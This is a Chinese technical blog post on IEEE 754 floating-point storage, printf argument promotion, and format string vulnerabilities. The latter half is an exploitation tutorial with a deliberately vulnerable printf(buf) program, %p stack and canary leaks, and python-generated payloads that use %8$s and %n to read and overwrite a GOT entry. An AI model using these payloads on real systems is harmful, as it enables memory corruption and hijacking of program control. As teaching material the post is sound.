浮点数精度,printf,格式化字符串漏洞

文中各种图片引用自不同的blog都附在参考链接里面了,侵删。

浮点数的存储

单精度浮点数 (single precision floating point) 的表示方式遵循 IEEE 754 标准。这种表示方式由32位组成:

  • 1位用于符号位 (sign bit)
  • 8位用于指数 (exponent)
  • 23位用于尾数 (mantissa or significand)

双精度类似,此时指数位有11,尾数有52

手工转换的思路是分别把整数部分和小数部分换成二进制,然后缩放成1.X * 2^n的二进制版本科学计数法。此时

.X部分为尾数部分,n为阶码需要加上127,如果n为1那么指数位就是127+1 = 128。之所以会有这个规定,是为了考虑到n为负数的情况(只考虑正数的情况,十进制下小于1)。

下面以8.5存储为单精度为例

  • 8.5 是正数,所以符号位为 0。

  • 整数部分是 8,转换为二进制是 1000。

  • 小数部分是 0.5。将其转换为二进制:

    • 0.5 × 2 = 1.0,整数部分是 1
  • 所以,0.5 的二进制是 0.1。

  • 8.5 的二进制表示为 1000.1。

  • 将二进制数表示为规范化形式:1.0001 × 2^3。

  • 指数是 3,加上偏移量 127,得到 130。

  • 130 的二进制表示为 10000010。

  • 尾数是规范化形式中小数点后的部分:0001,补足到 23 位:00010000000000000000000

  • 符号位 + 指数 + 尾数 = 0 10000010 00010000000000000000000。

浮点数的分类

当然其实上面介绍的只是浮点数的一种类型的求值方式:规格化浮点数。

浮点数有三种分类,这篇文章总结非常好直接抄过来

  1. 规格化浮点数

    1. 此时指数位范围是1至254,因此对应阶码的范围则为-126至127
    2. 尾数位是一个小于1的小数,在计算真实浮点数字的时候需要+1 (真实的尾数M = 1 + f)。相当于我们省掉了1位二进制,形成了浮点数表示的约定,默认尾数的值还有一个最高位的1。
  2. 非规格化浮点数,

    1. 指数位全为0
    2. 非规格化的方式与规格化不同,它不会对尾数进行加1的处理,也就是说,真实的尾数M = f。这是为了能够表示0这个数值,否则的话尾数总是大于1,那么无论如何都将得不到0这个数值。
  3. 特殊值

    1. 在阶码全为1时,如果尾数位全为0,则表示无穷大。符号位为0则表示正无穷大,相反则表示负无穷大。
    2. 倘若尾数位不全为0时,此时则表示NaN,表示不是一个数字。
    3. 这一点在Javascript当中有一个相关的函数与这个NaN的含义有点类似,它的作用是用来判断一个参数是否是一个数字。

由此可以看出来,浮点数的取值范围。

举个例子非规格化浮点数(考虑单精度,正数)

  1. 非规格化数的最小值 = 2^-23 * 2^-126 = 2 ^ -149
  2. 非格式化数最大值 = (2^-1 + 2^-2 + … + 2 ^ -23)* 2^-126 = (1−2^-23) * 2^-126

引用结论

通过上面的分析可以发现,尽管浮点数表示的范围很广,但由于精度损失的存在,加上幂次的放大作用,一个浮点数实际上是表示了周围的一个有理数区间。如果将浮点数绘制到一个数轴上,直观上看,靠近0的部分,浮点数出现较密集。越靠近无穷大,浮点数分布越稀疏,一个浮点值代表了周围一片数据。从这个意义上来说,浮点数不宜直接比较相等,它们是代表了一个数据范围。实际应用中,如果要使用浮点数计算,一定要考虑精度问题。在满足精度要求的前提下,计算结果才是有效的。 在计算精度要求情形下,例如商业计算等,应该避免使用浮点数,严格采取高精度计算。

再啰嗦一句,帮助理解,也就是这里非规格化数的最小值2 ^ -149代表了 0到2 ^ -149之间的所有正数。

浮点数的精度

单精度浮点数的精度主要由尾数部分决定。由于尾数有23位,加上隐含的1位,总共有24位的有效数字。

现在,我们来计算这 24 位二进制数可以表示多少位十进制有效数字:log₁₀(2²⁴) ≈ 7.22

这意味着单精度浮点数理论上可以精确表示大约 7位十进制有效数字,这里再对有效数字做一个定义

  • 非零数字总是有效数字。
  • 在非零数字之间的零是有效数字。
  • 小数点左边的前导零不是有效数字。
  • 小数点右边的尾随零可能是有效数字,这取决于测量的精度

再看prinf

抄这篇文章的题目,读者可以思考一下输出是什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
int main(void)
{
int a = 4;
int b = 3;
int c = a/b;
float d = *(float*)(&c);
long long e = 0xffffffffffffffff;
printf("a/b:%f,a:%d\n",a/b,a,b); //打印0

printf("(float)a/b:%f\n",((float)a)/b); //打印1

printf("(double)a/b:%lf\n",((double)a)/b);//打印2

printf("d:%f\n",d); //打印3

printf("%.*f\n",20,(double)a/b); //打印4

printf("e:%d,a:%d\n",e,a); //打印5

printf("a:%d,++a:%d,a++:%d\n",a,++a,a++); //打印6

return 0;
}

运行的结果是

1
2
3
4
5
6
7
a/b:0.000000,a:1
(float)a/b:1.333333
(double)a/b:1.333333
d:0.000000
1.33333333333333325932
e:-1,a:4
a:6,++a:6,a++:4

第一次看到这个题的时候,感觉很奇怪,printf("a/b:%f,a:%d\n",a/b,a,b); 。这里格式化字符串里面只有两位,为什么要传入三个参数。

所以这里我们主要关注打印0-2涉及到的知识点

  1. 每个参数执行“默认实际参数提升”

    1. 提升规则如下: float将提升到double
    2. char、short和相应的signed、unsigned类型将提升到int
  2. printf实际上只会接受到double,int,long int等类型的参数。而从来不会实际接受到float,char,short等类型参数。

我们gdb调试结果来佐证一下。

格式化字符串漏洞

先来看一下prinf支持的各种参数

  • %d%i:整数
  • %u:无符号整数
  • %f:浮点数
  • %x:十六进制整数(小写)
  • %X:十六进制整数(大写)
  • %o:八进制整数
  • %s:字符串
  • %c:字符
  • %p:指针地址
  • %n:写入的字符数

格式化字符串泄漏栈上内存数据

这种套路,一般用%08x, %p来泄漏栈上数据。举一个leak cannary的例子。

1
2
3
4
5
6
7
#include <stdio.h>

void main() {
char buf[50];
if(fgets(buf, sizeof buf, stdin) == NULL) return;
printf(buf);
}
1
gcc -g -Wall -fstack-protector-all -o program_with_canary program.c

Cannary会被从QWORD PTR fs:0x28放到栈上,然后我们用%p来读,一个%p读8字节的内存。

实际需要多少个可以通过gdb或静态分析来算。这里给用14个就行了。

格式化字符串泄漏任意地址数据

这种套路一般用来泄漏got表数据,先构想读地址的值在栈上,然后调用%s去读这个地址。

因为这个地址需要在栈上,所以这里为方便用32位程序演示。这个值肯定和printf的第一个参数有一些偏移。所以最后我们需要用%n$s这种“加强版”的%s去读到偏移。

1
gcc -g -m32 -Wall -fno-stack-protector -o vulnerable_program program.c

先来读一下GOT表

1
2
readelf -r vulnerable_program | grep fget
0804c010 00000207 R_386_JUMP_SLOT 00000000 fgets@GLIBC_2.0

和刚才思路类似,先用以一坨%p看一下偏移

1
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p

这里AAAA被断开了,所以我们还需要padding一下

1
PPAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p %p

所以我只需要用%8$s即可以读到GOT表地址

1
python3 -c 'import sys; sys.stdout.buffer.write(b"PP\x10\xc0\x04\x08%8$s\n")'  
1
2
b main
run < text

格式化字符串向任意地址写入数据

这种要结合%n来利用,先来看一下%n的用法。

1
2
3
4
5
6
7
#include <stdio.h>

void main() {
int i;
printf("AAAA%n\n", &i);
printf("%d\n", i);
}

printf解析到%n会把输出的字符串的长度放在i中。

在漏洞利用中,类似于我们用\x10\xc0\x04\x08%8$s去偏移8处读\x10\xc0\x04\x08地址的值。我门用\x10\xc0\x04\x08%8$n去偏移8处的\x10\xc0\x04\x08地址写入打印出来的字符个数。这样我们只要控制打印字数就可以控制任意地址的值了。

1
python3 -c 'import sys; sys.stdout.buffer.write(b"PP\x10\xc0\x04\x08%8$n\n")'

修改前 p *0x0804c010

修改后

这里我们只输出六个字符,太少了。实际利用肯定要写入一个地址(比如one gadget的地址),这个地址一般都很大比如0x80c0ffff,所以需要结合printf的对齐语法来写入大值。

假设第10个偏移是0x0804c010,那我们理论上就可以把地址0x0804c010写入0x08ffffff的值

1
python3 -c 'import sys; sys.stdout.buffer.write(b"%150994943d%12$nAA\x10\xc0\x04\x08\n")' > te

在输出大量padding过后成功修改完地址

这种方法简单粗暴,但更优雅的方式是逐字节修改。

依次对0804c010写入0xff,0804c011写入0xff,0804c012写入0xff,0804c013写入0x08

附 non pie 与 ASLR

程序是no pie的就算操作系统开了ASLR也没用?

  1. ASLR(Address Space Layout Randomization):

    1. 这是一个操作系统级别的安全特性。
    2. 它随机化进程的内存布局,包括堆、栈、共享库的加载位置等。
  2. PIE(Position Independent Executable):

    1. 这是一个编译时的选项。
    2. 它使可执行文件的代码段也能被随机化。
  3. ASLR 和 no-PIE 的组合效果:

    1. 如果程序是 no-PIE 的(非位置独立可执行文件),但操作系统开启了 ASLR:

      • 程序的代码段(.text)将会在固定的地址加载。
      • 但是,堆、栈、共享库等仍然会被随机化。

附 python字符集的坑

1
2
3
parallels@parallels-Parallels-Virtual-Platform:~/Desktop$ python3 -c 'print("PP\x10\xc0\x04\x08%7$s")'  > text
parallels@parallels-Parallels-Virtual-Platform:~/Desktop$ cat text |xxd
00000000: 5050 10c3 8004 0825 3724 730a PP.....%7$s.

参考

https://blog.csdn.net/dreamer2020/article/details/24158303

https://www.yanbinghu.com/2018/12/02/10796.html

https://www.cnblogs.com/jillzhang/archive/2007/06/24/793901.html

https://blog.csdn.net/weixin_42250302/article/details/108287860

https://www.cnblogs.com/zuoxiaolong/p/computer11.html

https://github.com/firmianay/CTF-All-In-One/blob/master/SUMMARY.md

Author

李三(cl0und)

Posted on

2024-08-31

Updated on

2024-09-14

Licensed under